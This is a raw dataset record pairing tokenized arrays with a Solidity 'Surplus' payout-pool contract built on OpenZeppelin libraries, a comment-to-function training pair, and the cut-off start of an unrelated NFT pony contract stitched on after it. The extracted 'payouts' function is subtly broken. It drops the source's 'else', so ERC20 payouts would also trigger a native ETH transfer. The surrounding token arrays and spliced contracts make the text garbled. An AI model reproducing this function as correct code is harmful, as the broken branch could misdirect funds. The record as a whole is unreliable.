[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 2555, 8328, 264, 288, 203, 565, 445, 2230, 48, 18988, 24237, 9242, 12, 11890, 5034, 1147, 548, 16, 509, 5034, 4501, 372, 24237, 9242, 13, 3903, 31, 203, 683, 9454, 18035, 560, 1545, 20, 18, 25, 18, 20, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-03-30 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/Surplus.sol /** * @dev Surplus Pool which just does receive/payout things. * * @dev A ratio(commonly would be 40%) of the cover cost would be sent to surplus pool for claiming. */ pragma solidity >= 0.6.0; contract Surplus is Ownable { using SafeERC20 for IERC20; address public constant ETHEREUM = address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); address public operator; // return my token balance function myBalanceOf(address tokenAddress) external view returns(uint256) { return IERC20(tokenAddress).balanceOf(address(this)); } // payout for claiming function payouts(address payable _to, uint256 _amount,address token) external onlyOperator { require(_to != address(0),"_to is zero"); if (token != ETHEREUM) { IERC20(token).safeTransfer(_to, _amount); } else { _to.transfer(_amount); } emit ePayouts(_to, _amount); } receive() external payable {} function setOperator(address _operator) external onlyOwner { require(_operator != address(0),"_operator is zero"); operator = _operator; emit eSetOperator(_operator); } modifier onlyOperator() { require(msg.sender == operator,"not operator"); _; } /////////// events ///////////// event ePayouts(address indexed to, uint256 amount); event eSetOperator(address indexed operator); }
payout for claiming
function payouts(address payable _to, uint256 _amount,address token) external onlyOperator { require(_to != address(0),"_to is zero"); if (token != ETHEREUM) { IERC20(token).safeTransfer(_to, _amount); _to.transfer(_amount); } emit ePayouts(_to, _amount); }
6,828,917
[ 1, 84, 2012, 364, 7516, 310, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 293, 2012, 87, 12, 2867, 8843, 429, 389, 869, 16, 2254, 5034, 389, 8949, 16, 2867, 1147, 13, 3903, 1338, 5592, 288, 203, 3639, 2583, 24899, 869, 480, 1758, 12, 20, 3631, 6, 67, 869, 353, 3634, 8863, 203, 3639, 309, 261, 2316, 480, 512, 19905, 41, 2799, 13, 288, 203, 5411, 467, 654, 39, 3462, 12, 2316, 2934, 4626, 5912, 24899, 869, 16, 389, 8949, 1769, 203, 5411, 389, 869, 18, 13866, 24899, 8949, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 425, 52, 2012, 87, 24899, 869, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 377, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.11; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <[email protected]> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) external view returns (address owner); function approve(address _to, uint256 _tokenId) external; function transfer(address _to, uint256 _tokenId) external; function transferFrom(address _from, address _to, uint256 _tokenId) external; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) function supportsInterface(bytes4 _interfaceID) external view returns (bool); } // // Auction wrapper functions // Auction wrapper functions /// @title SEKRETOOOO contract GeneScienceInterface { /// @dev simply a boolean to indiponye this is the contract we expect to be function isGeneScience() public pure returns (bool); /// @dev given genes of Ponie 1 & 2, return a genetic combination - may have a random factor /// @param genes1 genes of mom /// @param genes2 genes of sire /// @return the genes that are supposed to be passed down the child function mixGenes(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256); } /// @title A facet of PonyCore that manages special access privileges. /// @author Axiom Zen (https://www.axiomzen.co) /// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged. contract PonyAccessControl { // This facet controls access control for CryptoPoniesies. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the PonyCore constructor. // // - The CFO: The CFO can withdraw funds from PonyCore and its auction contracts. // // - The COO: The COO can release gen0 Poniesies to auction, and mint promo ponys. // // It should be noted that these roles are distinct without overlap in their access abilities, the // abilities listed for each role above are exhaustive. In particular, while the CEO can assign any // address to any role, the CEO address itself doesn't have the ability to act in those roles. This // restriction is intentional so that we aren't tempted to use the CEO address frequently out of // convenience. The less we use an address, the less likely it is that we somehow compromise the // account. /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); // The addresses of the accounts (or contracts) that can execute 